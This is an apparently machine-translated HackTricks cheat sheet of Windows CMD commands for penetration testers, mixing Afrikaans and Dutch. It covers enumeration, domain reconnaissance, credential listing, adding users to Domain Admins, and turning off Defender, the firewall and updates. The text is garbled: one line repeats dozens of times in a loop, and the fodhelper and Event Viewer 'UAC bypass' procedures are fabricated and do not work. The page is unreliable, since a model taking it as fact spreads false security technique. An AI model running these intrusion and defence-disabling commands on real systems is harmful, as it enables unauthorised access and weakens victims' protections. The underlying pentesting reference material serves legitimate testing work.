hacktricks/windows-hardening/basic-cmd-for-pentesters.md
2024-02-11 02:07:06 +00:00

61 KiB

Basiese Win CMD vir Pentesters

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Stelselinligting

Weergawe- en pleisterinligting

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?

Omgewing


Basic CMD commands for Windows Pentesters

Basiese CMD-opdragte vir Windows Pentesters


Networking

Netwerk

Get IP configuration
Kry IP-konfigurasie
ipconfig /all
Get DNS configuration
Kry DNS-konfigurasie
ipconfig /displaydns
Get ARP table
Kry ARP-tabel
arp -a
Get active connections
Kry aktiewe verbindings
netstat -ano
Get routing table
Kry roetetabel
route print
Get firewall rules
Kry firewall-reëls
netsh advfirewall firewall show rule name=all
Get open ports
Kry oop poorte
netstat -ano | findstr "LISTENING"
Get established connections
Kry gevestigde verbindings
netstat -ano | findstr "ESTABLISHED"
Get listening ports
Kry luisterpoorte
netstat -ano | findstr "LISTENING"
Get active network interfaces
Kry aktiewe netwerkinterfaces
netsh interface show interface
Get wireless profiles
Kry draadlose profiele
netsh wlan show profiles
Get wireless password
Kry draadlose wagwoord
netsh wlan show profile name="PROFILE_NAME" key=clear
Get network shares
Kry netwerk-aandele
net view
Get connected shares
Kry gekoppelde aandele
net use
Get running services
Kry lopende dienste
net start
Get installed software
Kry geïnstalleerde sagteware
wmic product get name,version
Get running processes
Kry lopende prosesse
tasklist
Get scheduled tasks
Kry geskeduleerde take
schtasks /query /fo LIST /v
Get system information
Kry stelselinligting
systeminfo
Get logged-in users
Kry aangemelde gebruikers
qwinsta
Get user privileges
Kry gebruikersbevoegdhede
whoami /priv
Get user groups
Kry gebruikersgroepe
whoami /groups
Get user tokens
Kry gebruikerstokens
whoami /user
Get user SID
Kry gebruiker-SID
whoami /user /fo list | findstr "SID"
Get user SID history
Kry gebruiker-SID-geskiedenis
whoami /user /fo list | findstr "SID"
Get user logon sessions
Kry gebruiker-aanmeldsessies
query user
Get user logon events
Kry gebruiker-aanmeldgebeure
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text
Get user logon history
Kry gebruiker-aanmeldgeskiedenis
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text
Get user password policy
Kry gebruiker-wagwoordbeleid
net accounts
Get user account lockout policy
Kry gebruiker-rekeningblokkeringsbeleid
net accounts
Get user account information
Kry gebruiker-rekeninginligting
net user USERNAME
Get user group membership
Kry gebruiker-groeplidmaatskap
net user USERNAME
Get user last logon time
Kry gebruiker-laatste-aanmeldingstyd
net user USERNAME
Get user password last set time
Kry gebruiker-wagwoord-laatste-stel-tyd
net user USERNAME
Get user password expiration time
Kry gebruiker-wagwoord-verval-tyd
net user USERNAME
Get user account status
Kry gebruiker-rekeningstatus
net user USERNAME
Get user account creation time
Kry gebruiker-rekening-skepping-tyd
net user USERNAME
Get user account expiration time
Kry gebruiker-rekening-verval-tyd
net user USERNAME
Get user account last modified time
Kry gebruiker-rekening-laatste-wysig-tyd
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password changeable status
Kry gebruiker-rekening-wagwoord-veranderbaar-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry gebruiker-rekening-wagwoord-vereis-status
net user USERNAME
Get user account password required status
Kry
set #List all environment variables

Sommige omgewingsveranderlikes om uit te lig:

  • COMPUTERNAME: Naam van die rekenaar
  • TEMP/TMP: Temp-vouer
  • USERNAME: Jou gebruikersnaam
  • HOMEPATH/USERPROFILE: Tuisgids
  • windir: C:\Windows
  • OS: Windows-bedryfstelsel
  • LOGONSERVER: Naam van die domeinbeheerder
  • USERDNSDOMAIN: Domeinnaam om met DNS te gebruik
  • USERDOMAIN: Naam van die domein
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC

Gemoniteerde skywe

Gemoniteerde skywe is eksterne stoorplekke wat aan 'n spesifieke pad in die lêerstelsel gekoppel is. Hierdie skywe kan fisiese harde skywe, netwerk-aandele of virtuele skywe wees. Wanneer 'n skyf gemonteer word, word dit beskikbaar gestel vir toegang deur die lêerstelsel en kan dit gebruik word om lêers en data te stoor.

Gemoniteerde skywe identifiseer

Om gemoniteerde skywe op 'n Windows-stelsel te identifiseer, kan jy die volgende opdrag in die opdragvenster gebruik:

wmic logicaldisk get caption, description

Hierdie opdrag sal 'n lys van gemoniteerde skywe toon, saam met hul beskrywings.

Gemoniteerde skywe ontmonteer

Om 'n gemoniteerde skyf te ontmonteer, kan jy die volgende opdrag in die opdragvenster gebruik:

mountvol <pad> /d

Vervang <pad> met die pad van die skyf wat jy wil ontmonteer. Byvoorbeeld:

mountvol C:\ /d

Hierdie opdrag sal die gemoniteerde skyf ontkoppel en dit sal nie meer beskikbaar wees vir toegang deur die lêerstelsel nie.

Gemoniteerde skywe aanlyn skakel

Om 'n gemoniteerde skyf aanlyn te skakel, kan jy die volgende opdrag in die opdragvenster gebruik:

mountvol <pad> <skyf>

Vervang <pad> met die pad waarop jy die skyf wil koppel en <skyf> met die fisiese pad van die skyf wat jy wil koppel. Byvoorbeeld:

mountvol C:\ D:\

Hierdie opdrag sal die gemoniteerde skyf aanlyn skakel en dit sal beskikbaar wees vir toegang deur die lêerstelsel.

(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername

Verdediger

Herwin Bin

dir C:\$Recycle.Bin /s /b

Prosesse, Dienste & Sagteware

Prosesse

Om die lopende prosesse op 'n Windows-stelsel te sien, kan jy die volgende opdragte gebruik:

tasklist

Hierdie opdrag sal 'n lys van alle aktiewe prosesse op die stelsel vertoon, insluitend die proses-ID, geheuegebruik en die uitvoerbare lêernaam.

Om 'n spesifieke proses te beëindig, kan jy die volgende opdrag gebruik:

taskkill /PID <proses-ID>

Hierdie opdrag sal die proses met die opgegeven proses-ID beëindig.

Dienste

Om die lopende dienste op 'n Windows-stelsel te sien, kan jy die volgende opdrag gebruik:

net start

Hierdie opdrag sal 'n lys van alle aktiewe dienste op die stelsel vertoon, insluitend die diensnaam en die huidige status van die diens.

Om 'n spesifieke diens te stop, kan jy die volgende opdrag gebruik:

net stop <diensnaam>

Hierdie opdrag sal die diens met die opgegeven diensnaam stop.

Sagteware

Om 'n lys van geïnstalleerde sagteware op 'n Windows-stelsel te sien, kan jy die volgende opdrag gebruik:

wmic product get name,version

Hierdie opdrag sal 'n lys van alle geïnstalleerde sagteware op die stelsel vertoon, insluitend die naam en weergawe van elke sagteware.

Om 'n spesifieke sagtewareprogram te deïnstalleer, kan jy die volgende opdrag gebruik:

wmic product where name="<sagtewarenaam>" call uninstall

Hierdie opdrag sal die opgegeven sagtewareprogram deïnstalleer.

schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software

Domein inligting

Commando: whoami /domain

Hierdie opdrag gee jou inligting oor die domein waarin die huidige gebruiker geregistreer is.

Voorbeeld:

C:\> whoami /domain
Gebruikersnaam                    Domein
------------------------------    ------------------------------
DESKTOP\Gebruiker                 DESKTOP

Interpretasie:

Die uitset wys dat die huidige gebruiker geregistreer is in die domein "DESKTOP". Die gebruikersnaam is "Gebruiker".

# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

Logboeke & Gebeure

Logboeke en gebeure speel 'n belangrike rol in die monitering en opsporing van aanvalle en inbreukpogings. Dit is noodsaaklik vir 'n pentester om toegang te verkry tot en te analiseer:

  • Windows-logboeke: Windows hou verskillende tipes logboeke by, soos die beveiligingslogboek, toepassingslogboek en stelsellogboek. Hierdie logboeke bevat waardevolle inligting oor gebeure en aktiwiteite op die stelsel.

  • Gebeurtenis-ID's: Elke gebeurtenis in die logboek word geïdentifiseer deur 'n unieke gebeurtenis-ID. Hierdie ID's kan gebruik word om spesifieke gebeure te identifiseer en te ondersoek.

  • Logboekbestuurders: Logboekbestuurders is verantwoordelik vir die hantering en bestuur van logboeke. Dit sluit in die skep van nuwe logboeke, die instelling van logboekvlakke en die konfigurering van logboekretensie.

  • Logboekanalise: Logboekanalise behels die ontleed en ondersoek van logboeke om verdagte aktiwiteite of aanvalspogings te identifiseer. Dit kan gedoen word deur die gebruik van spesifieke gereedskap of deur handmatige ondersoek.

  • Logboekretensie: Logboekretensie verwys na die tydperk waarin logboeke bewaar word. Dit is belangrik om logboeke vir 'n voldoende tydperk te bewaar om die nodige inligting vir ondersoek en navorsing beskikbaar te hou.

  • Logboekmonitering: Logboekmonitering behels die aktiewe opvolging en analise van logboeke om verdagte aktiwiteite in werkliktyd te identifiseer. Dit kan gedoen word deur die gebruik van SIEM (Security Information and Event Management) gereedskap.

  • Logboekkorrelasie: Logboekkorrelasie behels die verband tussen verskillende logboeke en gebeure om 'n vollediger prentjie van 'n aanval of inbreukpoging te verkry. Dit kan help om die oorsprong en impak van 'n aanval beter te verstaan.

  • Logboeklekke: Logboeklekke verwys na die onbevoegde toegang tot of openbaarmaking van logboekinligting. Dit kan 'n ernstige risiko vir die veiligheid en vertroulikheid van 'n stelsel of organisasie inhou.

  • Logboekverskuiwing: Logboekverskuiwing behels die verplasing van logboeke na 'n sekurere omgewing of stoorplek om die integriteit en beskikbaarheid daarvan te verseker. Dit kan help om die risiko van logboekverlies of manipulasie te verminder.

  • Logboekverwysings: Logboekverwysings is verwysings na spesifieke gebeure of aktiwiteite in logboeke. Dit kan gebruik word om die oorsprong en impak van 'n aanval te identifiseer en te analiseer.

  • Logboekanalise-gereedskap: Logboekanalise-gereedskap is sagtewaretoepassings wat spesifiek ontwerp is vir die analise en ondersoek van logboeke. Hierdie gereedskap kan help om verdagte aktiwiteite te identifiseer en die oorsprong daarvan te bepaal.

  • Logboekverslagdoening: Logboekverslagdoening behels die opstel en verspreiding van verslae oor logboekaktiwiteite en gebeure. Dit kan help om die bevindinge van 'n logboekanalise te dokumenteer en te kommunikeer.

  • Logboekbewaring: Logboekbewaring verwys na die langtermynbewaring van logboeke vir regs- en nakomingsdoeleindes. Dit is belangrik om logboeke vir 'n voldoende tydperk te bewaar om te voldoen aan wettige vereistes en regulasies.

#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

Gebruikers

List all users

Lys alle gebruikers op

net user

List user details

Lys gebruikersbesonderhede op

net user <username>

Create a new user

Skep 'n nuwe gebruiker

net user <username> <password> /add

Delete a user

Verwyder 'n gebruiker

net user <username> /delete

Groups

Groepe

List all groups

Lys alle groepe op

net localgroup

List group members

Lys groep lede op

net localgroup <groupname>

Add a user to a group

Voeg 'n gebruiker by 'n groep

net localgroup <groupname> <username> /add

Remove a user from a group

Verwyder 'n gebruiker uit 'n groep

net localgroup <groupname> <username> /delete
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe

Groepe

Groups are a fundamental concept in Windows operating systems. They are used to organize and manage user accounts and provide access control to various resources. Each user account in Windows belongs to one or more groups, and these groups determine the permissions and privileges that the user has.

Groep is 'n fundamentele konsep in Windows-bedryfstelsels. Dit word gebruik om gebruikersrekeninge te organiseer en bestuur, en om toegang tot verskillende hulpbronne te beheer. Elke gebruikersrekening in Windows behoort aan een of meer groepe, en hierdie groepe bepaal die toestemmings en voorregte wat die gebruiker het.

#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group

Lys sessies

Om die huidige sessies op die stelsel te lys, gebruik die volgende opdrag:

net session

Hierdie opdrag sal 'n lys van aktiewe sessies op die stelsel vertoon, insluitend die gebruikersnaam, die stasie waarvandaan die sessie geïnisieer is, en die tydsduur van die sessie.

qwinsta
klist sessions

Wagwoordbeleid

'n Wagwoordbeleid is 'n belangrike aspek van die beveiliging van 'n stelsel. Dit stel vereistes vir die skep en gebruik van wagwoorde om die risiko van ongemagtigde toegang tot die stelsel te verminder. Hier is 'n paar belangrike punte om te oorweeg wanneer dit kom by 'n wagwoordbeleid:

  • Lengte: Die lengte van 'n wagwoord moet voldoende lank wees om dit moeilik te maak vir aanvallers om te raai. Dit word aanbeveel dat wagwoorde ten minste 8 karakters lank moet wees, maar langer is beter.
  • Kompleksiteit: Wagwoorde moet 'n mengsel van hoofletters, kleinletters, syfers en spesiale karakters insluit om dit moeiliker te maak om te kraak. Dit is belangrik om te verseker dat wagwoorde nie maklik raai kan word nie.
  • Uniekheid: Elke wagwoord moet uniek wees en nie vir ander rekeninge of dienste hergebruik word nie. Dit verminder die risiko van 'n wagwoordlek wat kan lei tot ongemagtigde toegang tot verskillende stelsels.
  • Verandering van wagwoorde: Dit is belangrik om gereeld wagwoorde te verander om die risiko van 'n wagwoordlek te verminder. Dit word aanbeveel om wagwoorde elke 90 dae te verander.
  • Tweeledige verifikasie: Die gebruik van tweeledige verifikasie voeg 'n ekstra laag van beveiliging by deur 'n tweede vorm van identifikasie te vereis, soos 'n eenmalige wagwoord (OTP) wat na 'n selfoon gestuur word.

Deur 'n streng wagwoordbeleid te implementeer, kan organisasies die risiko van wagwoordgebaseerde aanvalle verminder en die algehele beveiliging van hul stelsels verbeter.

net accounts

Geldekeninge

Credentials is 'n term wat gebruik word om die inligting te beskryf wat nodig is om toegang te verkry tot 'n rekening, stelsel of diens. Dit sluit gewoonlik gebruikersname en wagwoorde in, maar kan ook ander vorme van identifikasie, soos sertifikate of sleutels, insluit. Die verkryging van geldige geldekeninge is 'n belangrike stap in die uitvoering van 'n suksesvolle aanval, omdat dit die aanvaller in staat stel om ongemerk toegang te verkry tot die teiken se hulpbronne. Daar is verskeie tegnieke wat gebruik kan word om geldekeninge te verkry, insluitend sosiale ingenieurswese, phising, brute krag aanvalle en die gebruik van gelekte geldekeninge van vorige datalekke. Dit is belangrik vir pentesters om bewus te wees van die verskillende maniere waarop geldekeninge verkry kan word, sodat hulle die nodige maatreëls kan tref om hul eie geldekeninge te beskerm.

cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access

Volharding met gebruikers

User Account Control (UAC) bypass

UAC-bypass met behulp van fodhelper.exe

De fodhelper.exe is een hulpprogramma dat wordt gebruikt om de functies van de Windows 10-functie "Herstel van de fabrikant" uit te voeren. Het kan echter ook worden misbruikt om UAC te omzeilen en verhoogde rechten te verkrijgen.

Om UAC-bypass met fodhelper.exe uit te voeren, volg je deze stappen:

  1. Maak een payload die je wilt uitvoeren met verhoogde rechten.
  2. Maak een INF-bestand (bijvoorbeeld payload.inf) met de volgende inhoud:
[Version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
; your application.

[RestartPreSetupCommandsSection]
; Commands Here will be run After Setup is done installing
; your application, but before the final reboot.

[Uninstall]
RunPreSetupCommands=RunPreSetupCommandsSection

[Install]
AddReg=AddRegSection

[AddRegSection]
HKCU, Software\Classes\ms-settings\shell\open\command,,,"""C:\Windows\System32\cmd.exe"" /c payload.exe"

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\control.exe", "ProfileInstallPath", "%UnexpectedError%"
  1. Plaats de payload en het INF-bestand in dezelfde map.
  2. Open een opdrachtprompt met verhoogde rechten en navigeer naar de map waarin de payload en het INF-bestand zich bevinden.
  3. Voer het volgende commando uit:
fodhelper.exe /install payload.inf
  1. Dit zal de payload uitvoeren met verhoogde rechten zonder dat er een UAC-prompt wordt weergegeven.
UAC-bypass met behulp van eventvwr.exe

De eventvwr.exe is een hulpprogramma dat wordt gebruikt om Windows Event Viewer te openen. Het kan echter ook worden misbruikt om UAC te omzeilen en verhoogde rechten te verkrijgen.

Om UAC-bypass met eventvwr.exe uit te voeren, volg je deze stappen:

  1. Maak een payload die je wilt uitvoeren met verhoogde rechten.
  2. Open een opdrachtprompt met verhoogde rechten.
  3. Voer het volgende commando uit:
eventvwr.exe
  1. Dit opent de Windows Event Viewer.
  2. Navigeer naar "Aangepaste weergaven" en klik met de rechtermuisknop op "Aangepaste weergaven" en selecteer "Weergave maken".
  3. Geef de weergave een naam en klik op "OK".
  4. Klik met de rechtermuisknop op de nieuwe weergave en selecteer "Eigenschappen".
  5. Klik op "Filter" en selecteer "XML" in het vervolgkeuzemenu.
  6. Verwijder de XML-inhoud en vervang deze door de volgende code:
<QueryList>
  <Query Id="0" Path="System">
    <Select Path="System">*[System[Provider[@Name='Microsoft-Windows-Winlogon'] and (EventID=4004)]]</Select>
    <Select Path="Security">*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4688)]]</Select>
    <Select Path="System">*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4688)]]</Select>
  </Query>
</QueryList>
  1. Klik op "OK" om de eigenschappen te sluiten.
  2. Klik met de rechtermuisknop op de nieuwe weergave en selecteer "Vernieuwen".
  3. Dit zal de payload uitvoeren met verhoogde rechten zonder dat er een UAC-prompt wordt weergegeven.

Schakel Windows Defender uit

PowerShell-commando

Om Windows Defender uit te schakelen met behulp van PowerShell, voer je het volgende commando uit met verhoogde rechten:

Set-MpPreference -DisableRealtimeMonitoring $true
Register-editor

Om Windows Defender uit te schakelen met behulp van de Register-editor, volg je deze stappen:

  1. Open de Register-editor met verhoogde rechten.
  2. Navigeer naar de volgende registersleutel:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
  1. Maak een nieuwe DWORD-waarde met de naam "DisableAntiSpyware" en stel de waarde in op "1".
  2. Start de computer opnieuw op om de wijzigingen door te voeren.

Schakel Windows Firewall uit

PowerShell-commando

Om Windows Firewall uit te schakelen met behulp van PowerShell, voer je het volgende commando uit met verhoogde rechten:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Netsh-commando

Om Windows Firewall uit te schakelen met behulp van het netsh-commando, voer je het volgende commando uit met verhoogde rechten:

netsh advfirewall set allprofiles state off

Schakel Windows Update uit

PowerShell-commando

Om Windows Update uit te schakelen met behulp van PowerShell, voer je het volgende commando uit met verhoogde rechten:

Set-Service -Name wuauserv -StartupType Disabled
Register-editor

Om Windows Update uit te schakelen met behulp van de Register-editor, volg je deze stappen:

  1. Open de Register-editor met verhoogde rechten.
  2. Navigeer naar de volgende registersleutel:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
  1. Maak een nieuwe DWORD-waarde met de naam "NoAutoUpdate" en stel de waarde in op "1".
  2. Start de computer opnieuw op om de wijzigingen door te voeren.
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add

Netwerk

Koppelvlakke, Roetes, Poorte, Gasheer en DNS-cache

Koppelvlakke (ifconfig)

Om die beskikbare koppelvlakke op die stelsel te sien, gebruik die ifconfig-opdrag:

ifconfig

Roetes (route)

Om die roetes op die stelsel te sien, gebruik die route-opdrag:

route print

Poorte (netstat)

Om die aktiewe poorte op die stelsel te sien, gebruik die netstat-opdrag:

netstat -ano

Gasheer (hostname)

Om die gasheernaam van die stelsel te sien, gebruik die hostname-opdrag:

hostname

DNS-cache (ipconfig)

Om die DNS-cache op die stelsel te sien, gebruik die ipconfig-opdrag:

ipconfig /displaydns
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"

Vuurmuur

